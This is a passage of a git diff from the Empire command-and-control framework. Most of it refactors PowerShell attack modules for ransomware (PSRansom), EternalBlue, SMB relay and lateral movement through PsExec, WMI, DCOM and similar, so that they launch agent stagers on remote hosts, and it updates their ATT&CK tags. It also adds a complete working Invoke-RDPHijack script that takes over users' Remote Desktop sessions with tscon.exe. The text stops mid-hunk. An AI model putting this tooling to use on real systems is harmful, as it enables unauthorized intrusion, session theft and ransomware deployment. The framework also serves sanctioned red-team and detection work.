b/empire/server/modules/powershell/credentials/sessiongopher.yaml index cdd39d6d5..1d7d0dc6f 100644 --- a/empire/server/modules/powershell/credentials/sessiongopher.yaml +++ b/empire/server/modules/powershell/credentials/sessiongopher.yaml @@ -11,8 +11,8 @@ description: | and target multiple systems across a domain using WMI. Extracts both cleartext and encrypted credentials that users have saved for convenience. software: '' -tactics: [TA0006, TA0007] -techniques: [T1081.001, T1552.002] +tactics: [TA0006] +techniques: [T1552.002, T1552.001] background: false output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/exfiltration/PSRansom.py b/empire/server/modules/powershell/exfiltration/PSRansom.py index 95d381222..af9d684b2 100644 --- a/empire/server/modules/powershell/exfiltration/PSRansom.py +++ b/empire/server/modules/powershell/exfiltration/PSRansom.py @@ -1,28 +1,20 @@ from empire.server.common.empire import MainMenu -from empire.server.core.exceptions import ( - ModuleValidationException, -) from empire.server.core.module_models import EmpireModule +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - raise ModuleValidationException("Invalid module source") - mode_flag = "-e" if params["Mode"] == "Encrypt" else "-d" args = f"$args = @('{mode_flag}', '{params['Directory']}'" @@ -39,9 +31,4 @@ def generate( args += ")\n" script = args + script - return main_menu.modulesv2.finalize_module( - script=script, - script_end="", - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, "" diff --git a/empire/server/modules/powershell/exfiltration/PSRansom.yaml b/empire/server/modules/powershell/exfiltration/PSRansom.yaml index e8575225c..8f35b9151 100644 --- a/empire/server/modules/powershell/exfiltration/PSRansom.yaml +++ b/empire/server/modules/powershell/exfiltration/PSRansom.yaml @@ -1,4 +1,4 @@ -name: Invoke-Script +name: PSRansom authors: - name: '' handle: '@JoelGMSec' @@ -9,8 +9,13 @@ description: | data during encryption and includes a demonstration mode that changes the desktop wallpaper and displays a ransom note popup. software: '' -tactics: [TA0040] -techniques: [T1486, T1491.001, T1140, T1083] +tactics: [TA0040, TA0005, TA0007] +techniques: + - T1041 + - T1083 + - T1140 + - T1486 + - T1491.001 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py index ffccea50b..a52f110a2 100755 --- a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py +++ b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py @@ -1,27 +1,20 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "\nInvoke-EternalBlue " for key, value in params.items(): @@ -34,9 +27,4 @@ def generate( script_end += "; 'Exploit complete'" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml b/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml index a5e4f7a2c..e1711a298 100644 --- a/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml +++ b/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml @@ -14,7 +14,7 @@ description: | to the capture server, allowing for NTLM hash capture and potential relay attacks. software: -tactics: [TA0006. TA0009] +tactics: [TA0006, TA0009, TA0005, TA0008] techniques: [T1550.002, T1557.001, T1557.002, T1187] background: false output_extension: diff --git a/empire/server/modules/powershell/lateral_movement/Invoke-RDPHijack.yaml b/empire/server/modules/powershell/lateral_movement/Invoke-RDPHijack.yaml new file mode 100644 index 000000000..ab5d8d250 --- /dev/null +++ b/empire/server/modules/powershell/lateral_movement/Invoke-RDPHijack.yaml @@ -0,0 +1,155 @@ +name: Invoke-RDPHijack +authors: + - name: Anthony Rose + handle: '@Cx01N' + link: https://twitter.com/Cx01N_ +description: | + Hijacks disconnected or active Remote Desktop Protocol (RDP) sessions using + the built-in Windows utility tscon.exe. This technique can transfer the + current desktop context into another user's session and may allow session + takeover without user credentials in certain conditions. SYSTEM-level + privileges are required on the target host for reliable session hijacking. + Disconnected sessions are typically the easiest to hijack because they often + do not require a password prompt. +software: '' +tactics: [TA0008] +techniques: [T1563.002] +background: false +output_extension: '' +needs_admin: true +opsec_safe: false +language: powershell +min_language_version: '2' +comments: + - https://medium.com/@intruder_/remote-desktop-session-hijacking-55bc7563a4c3 +options: + - name: Agent + description: Agent to run module on. + required: true + value: '' + - name: SessionID + description: Target RDP session ID to hijack. Use 'query user' to enumerate. + required: false + value: '' + - name: TargetSession + description: Destination session (defaults to current console). + required: false + value: 'console' + - name: Password + description: Password for the target session user (optional, for active sessions). + required: false + value: '' + - name: ListSessions + description: List active RDP sessions instead of hijacking. + required: false + value: 'False' + strict: true + suggested_values: + - 'True' + - 'False' +script: | + function Invoke-RDPHijack { + [CmdletBinding()] + Param( + [String]$SessionID, + [String]$TargetSession = 'console', + [String]$Password, + [Switch]$ListSessions + ) + + $listOnly = $ListSessions.IsPresent + + if ($listOnly) { + Write-Output '[*] Enumerating RDP sessions with query user...' + try { + $sessionOutput = (query user 2>&1) | Out-String + if ($sessionOutput -and $sessionOutput.Trim().Length -gt 0) { + Write-Output $sessionOutput.Trim() + } else { + Write-Output '[!] No RDP sessions found or query user returned no output.' + } + } + catch { + Write-Output "[!] Failed to enumerate sessions: $($_.Exception.Message)" + } + return + } + + if (-not $SessionID) { + Write-Output '[*] No SessionID supplied. Enumerating available sessions...' + Write-Output '[*] Disconnected sessions (Disc) are usually easiest to hijack.' + try { + $sessionOutput = (query user 2>&1) | Out-String + if ($sessionOutput -and $sessionOutput.Trim().Length -gt 0) { + $lines = $sessionOutput.Trim() -split "`n" + foreach ($line in $lines) { + if ($line -match '\sDisc\s') { + Write-Output "[Disc] $line" + } + else { + Write-Output " $line" + } + } + } else { + Write-Output '[!] No RDP sessions found or query user returned no output.' + } + + Write-Output '[*] Re-run with -SessionID to hijack a target session.' + } + catch { + Write-Output "[!] Failed to enumerate sessions: $($_.Exception.Message)" + Write-Output '[!] Ensure you are running as SYSTEM/Administrator and have access to tscon.exe.' + } + return + } + + if (-not (Get-Command tscon.exe -ErrorAction SilentlyContinue)) { + Write-Output '[!] tscon.exe was not found on this system.' + return + } + + Write-Output "[*] Attempting to hijack SessionID '$SessionID' to destination '$TargetSession'." + if ($Password) { + Write-Output '[*] Using supplied password for active session takeover attempt.' + } + else { + Write-Output '[*] No password supplied. This is commonly successful for disconnected sessions when running as SYSTEM.' + } + + try { + $cmdArgs = @($SessionID, "/dest:$TargetSession") + if ($Password) { + $cmdArgs += "/password:$Password" + } + + $tsconOutput = & tscon.exe @cmdArgs 2>&1 + if ($LASTEXITCODE -ne 0) { + $errorText = ($tsconOutput | Out-String).Trim() + if (-not $errorText) { + $errorText = 'Unknown tscon.exe error.' + } + + if ($errorText -match 'denied|privilege|access') { + Write-Output "[!] Access denied or insufficient privileges: $errorText" + Write-Output '[!] Session hijacking requires SYSTEM-level context.' + } + elseif ($errorText -match 'not exist|invalid|No session') { + Write-Output "[!] Session '$SessionID' does not exist or is invalid: $errorText" + } + else { + Write-Output "[!] tscon.exe failed: $errorText" + } + return + } + + if ($tsconOutput) { + Write-Output $tsconOutput + } + Write-Output "[+] Successfully issued tscon hijack for SessionID '$SessionID'." + } + catch { + Write-Output "[!] Session hijack failed: $($_.Exception.Message)" + Write-Output '[!] Verify SessionID, privileges, and whether the target session requires a valid password.' + } + } +script_end: Invoke-RDPHijack {{ PARAMS }} diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py index 064a6e897..5226779f6 100644 --- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py +++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options listener_name = params["Listener"] @@ -21,20 +25,12 @@ def generate( launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - if command == "": if not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException( + "[!] Invalid listener: " + listener_name + ) # generate the PowerShell one-liner with all of the proper options set command = main_menu.stagergenv2.generate_launcher( @@ -51,7 +47,7 @@ def generate( # check if launcher errored out. If so return nothing if command == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") # set defaults for Empire script_end = "\n" + f'Invoke-InveighRelay -Tool "2" -Command \\"{command}\\"' @@ -78,9 +74,4 @@ def generate( else: script_end += " -" + str(option) + ' "' + str(values) + '"' - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.yaml b/empire/server/modules/powershell/lateral_movement/inveigh_relay.yaml index 113dd1245..762cf1cd8 100644 --- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.yaml +++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.yaml @@ -12,7 +12,7 @@ description: Inveigh's SMB relay function. This module can be used to relay inco can be used through Empire's scriptimport and scriptcmd if additional parameters are needed. software: '' -tactics: [TA0008] +tactics: [TA0008, TA0006, TA0007, TA0009] techniques: [T1040, T1557.001, T1557.003, T1119] background: true output_extension: diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py index c8101560a..598d79ee5 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options listener_name = params["Listener"] @@ -25,22 +29,12 @@ def generate( # Only "Command" or "Listener" but not both if listener_name == "" and command == "": - return handle_error_message("[!] Listener or Command required") + raise ModuleValidationException("Listener or Command required") if listener_name and command: - return handle_error_message( + raise ModuleValidationException( "[!] Cannot use Listener and Command at the same time" ) - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "" if ( @@ -48,7 +42,7 @@ def generate( and not command ): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) if listener_name: # generate the PowerShell one-liner with all of the proper options set @@ -65,7 +59,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") Cmd = ( "%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" @@ -77,9 +71,4 @@ def generate( script_end = f"Invoke-DCOM -ComputerName {computer_name} -Method {method} -Command '{Cmd}'" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml b/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml index 8682360a1..75b37a735 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml @@ -14,7 +14,9 @@ description: | or other methods are monitored but DCOM isn't explicitly blocked. software: '' tactics: [TA0008] -techniques: [T1021.003] +techniques: + - T1021.003 + - T1105 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py index 5168996a6..3d9984b98 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py @@ -1,17 +1,21 @@ from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options listener_name = params["Listener"] @@ -22,16 +26,6 @@ def generate( launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "Invoke-ExecuteMSBuild" cred_id = params["CredID"] if cred_id != "": @@ -39,7 +33,7 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid!") if cred.domain != "": params["UserName"] = str(cred.domain) + "\\" + str(cred.username) @@ -50,9 +44,9 @@ def generate( # Only "Command" or "Listener" but not both if listener_name == "" and command == "": - return handle_error_message("[!] Listener or Command required") + raise ModuleValidationException("Listener or Command required") if listener_name and command: - return handle_error_message( + raise ModuleValidationException( "[!] Cannot use Listener and Command at the same time" ) @@ -61,7 +55,7 @@ def generate( and not command ): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) if listener_name: # generate the PowerShell one-liner with all of the proper options set @@ -77,7 +71,7 @@ def generate( bypasses=params["Bypasses"], ) if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") launcher = launcher.replace("$", "`$") script = script.replace("LAUNCHER", launcher) @@ -105,9 +99,4 @@ def generate( script_end += " | Out-String" - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml index 4169439ab..af946056f 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml @@ -21,7 +21,11 @@ description: | and not heavily monitored. software: '' tactics: [TA0002, TA0005, TA0008] -techniques: [T1127.001, T1047, T1021.006] +techniques: + - T1021.006 + - T1047 + - T1105 + - T1127.001 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py index 8c4b81b4d..dba45fef5 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options listener_name = params["Listener"] @@ -25,16 +29,6 @@ def generate( launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "" if command != "": # executing a custom command on the remote machine @@ -47,7 +41,7 @@ def generate( elif not main_menu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) else: # generate the PowerShell one-liner with all of the proper options set @@ -56,7 +50,7 @@ def generate( if main_menu.listenersv2.get_active_listener_by_name( listener_name ).info["Name"] not in ["HTTP[S]", "smb_pivot"]: - return handle_error_message( + raise ModuleValidationException( "Only HTTP[S] and smb_pivot listeners are supported for C# and IronPython stagers." ) @@ -71,7 +65,7 @@ def generate( if main_menu.listenersv2.get_active_listener_by_name( listener_name ).info["Name"] not in ["HTTP[S]", "smb_pivot"]: - return handle_error_message( + raise ModuleValidationException( "Only HTTP[S] and smb_pivot listeners are supported for C# and IronPython stagers." ) @@ -96,12 +90,12 @@ def generate( ) else: # with strict options this shouldn't be reached but ensures no silent failures - return handle_error_message( + raise ModuleValidationException( "Invalid language for Empire Agent Selected" ) if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") stager_cmd = ( "%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" @@ -117,9 +111,4 @@ def generate( + ' completed!"' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml b/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml index c63e61e9c..e16487f42 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml @@ -20,8 +20,12 @@ description: | writes, and potentially suspicious process execution chains. Modern EDR and monitoring solutions often specifically watch for PsExec-style execution patterns. software: S0029 -tactics: [TA0008] -techniques: [T1569.002, T1021.002] +tactics: [TA0008, TA0002] +techniques: + - T1021.002 + - T1105 + - T1550.002 + - T1569.002 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py index 9abbdb460..ebd8a6fee 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py @@ -1,7 +1,7 @@ from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -26,9 +26,9 @@ def generate( # Only "Command" or "Listener" but not both if listener_name == "" and command == "": - return handle_error_message("[!] Listener or Command required") + raise ModuleValidationException("Listener or Command required") if listener_name and command: - return handle_error_message( + raise ModuleValidationException( "[!] Cannot use Listener and Command at the same time" ) @@ -39,7 +39,7 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid!") params["UserName"] = str(cred.domain) + "\\" + str(cred.username) params["Password"] = cred.password @@ -49,7 +49,7 @@ def generate( and not command ): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) if listener_name: # generate the PowerShell one-liner with all of the proper options set @@ -65,7 +65,7 @@ def generate( bypasses=params["Bypasses"], ) if launcher == "": - return handle_error_message("[!] Error creating launcher") + raise ModuleValidationException("Error creating launcher") else: # else command launcher = command.replace('"', '`"') diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml index 13ba0101d..9cca4dc94 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml @@ -21,8 +21,12 @@ description: | output transmission, but may be subject to detection through PowerShell logging, ETW, or network traffic analysis if specifically monitored. software: '' -tactics: [TA0008] -techniques: [T1059.001, T1021.006, T1570] +tactics: [TA0008, TA0002] +techniques: + - T1021.006 + - T1059.001 + - T1105 + - T1570 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py index 7fc7e0a3e..473d029b8 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py @@ -1,16 +1,20 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # staging options listener_name = params["Listener"] @@ -28,28 +32,18 @@ def generate( # Only "Command" or "Listener" but not both if listener_name == "" and command == "": - return handle_error_message("[!] Listener or Command required") + raise ModuleValidationException("Listener or Command required") if listener_name and command: - return handle_error_message( + raise ModuleValidationException( "[!] Cannot use Listener and Command at the same time" ) - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - if ( not main_menu.listenersv2.get_active_listener_by_name(listener_name) and not command ): # not a valid listener, return nothing for the script - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException("Invalid listener: " + listener_name) if listener_name: # generate the PowerShell one-liner with all of the proper options set @@ -66,7 +60,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher generation.") + raise ModuleValidationException("Error in launcher generation.") Cmd = ( "%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" @@ -85,9 +79,4 @@ def generate( + ' completed!"' ) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml index 28dc7d22e..43999d368 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml @@ -23,8 +23,13 @@ description: | still generates Windows service creation events and may be detected by security monitoring focused on service creation patterns and suspicious command execution. software: '' -tactics: [TA0008] -techniques: [T1021.002, T1569.002, T1078.002] +tactics: [TA0008, TA0001, TA0002, TA0003, TA0004, TA0005] +techniques: + - T1021.002 + - T1078.002 + - T1105 + - T1550.002 + - T1569.002 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py index fe21c398a..c6c5d3321 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py @@ -1,17 +1,21 @@ from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): cred_id = params["CredID"] if cred_id != "": @@ -19,7 +23,7 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid!") if cred.domain != "": params["UserName"] = str(cred.domain) + "\\" + str(cred.username) @@ -40,19 +44,11 @@ def generate( launcher_obfuscate = params["Obfuscate"].lower() == "true" launcher_obfuscate_command = params["ObfuscateCommand"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - if command == "": if not main_menu.listenersv2.get_active_listener_by_name(listener_name): - return handle_error_message("[!] Invalid listener: " + listener_name) + raise ModuleValidationException( + "[!] Invalid listener: " + listener_name + ) launcher = main_menu.stagergenv2.generate_launcher( listener_name=listener_name, @@ -66,7 +62,7 @@ def generate( bypasses=params["Bypasses"], ) if launcher == "": - return handle_error_message("[!] Error generating launcher") + raise ModuleValidationException("Error generating launcher") command = "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\" + launcher @@ -77,9 +73,4 @@ def generate( if password != "": script_end += " -Password " + password - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml index e5f9a43ca..2ff2349bf 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml @@ -27,8 +27,10 @@ description: | often logged and may trigger alerts in security-conscious environments where SQL Server activity is monitored. software: '' -tactics: [TA0002, TA0008] -techniques: [T1505.001] +tactics: [TA0002, TA0008, TA0003] +techniques: + - T1105 + - T1505.001 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py index 5b6c80a0d..a49474ba5 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py @@ -1,28 +1,22 @@ from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - script_end = "\nInvoke-SSHCommand " # if a credential ID is specified, try to parse @@ -32,7 +26,7 @@ def generate( cred = main_menu.credentialsv2.get_by_id(db, cred_id) if not cred: - return handle_error_message("[!] CredID is invalid!") + raise ModuleValidationException("CredID is invalid!") if cred.username != "": params["Username"] = str(cred.username) @@ -40,11 +34,11 @@ def generate( params["Password"] = str(cred.password) if params["Username"] == "": - return handle_error_message( + raise ModuleValidationException( "[!] Either 'CredId' or Username/Password must be specified." ) if params["Password"] == "": - return handle_error_message( + raise ModuleValidationException( "[!] Either 'CredId' or Username/Password must be specified." ) @@ -61,9 +55,4 @@ def generate( else: script_end += " -" + str(option) + " " + str(values) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml index d4d367e5b..66e07a154 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.yaml @@ -21,7 +21,9 @@ description: | can trigger lockouts or alerts. software: '' tactics: [TA0008] -techniques: [T1021.004] +techniques: + - T1021.004 + - T1105 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py index 6a24f7859..0b10bcabb 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py @@ -1,7 +1,7 @@ from empire.server.common.empire import MainMenu from empire.server.core.db.base import SessionLocal +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -26,9 +26,9 @@ def generate( # Only "Command" or "Listener" but not both if listener_name == "" and command == "": - return handle_error_message("[!] Listener or Command required") + raise ModuleValidationException("Listener or Command required") if listener_name and command: - return handle_error_message( + raise ModuleValidationException( "[!] Cannot use Listener and Command at the same time" ) @@ 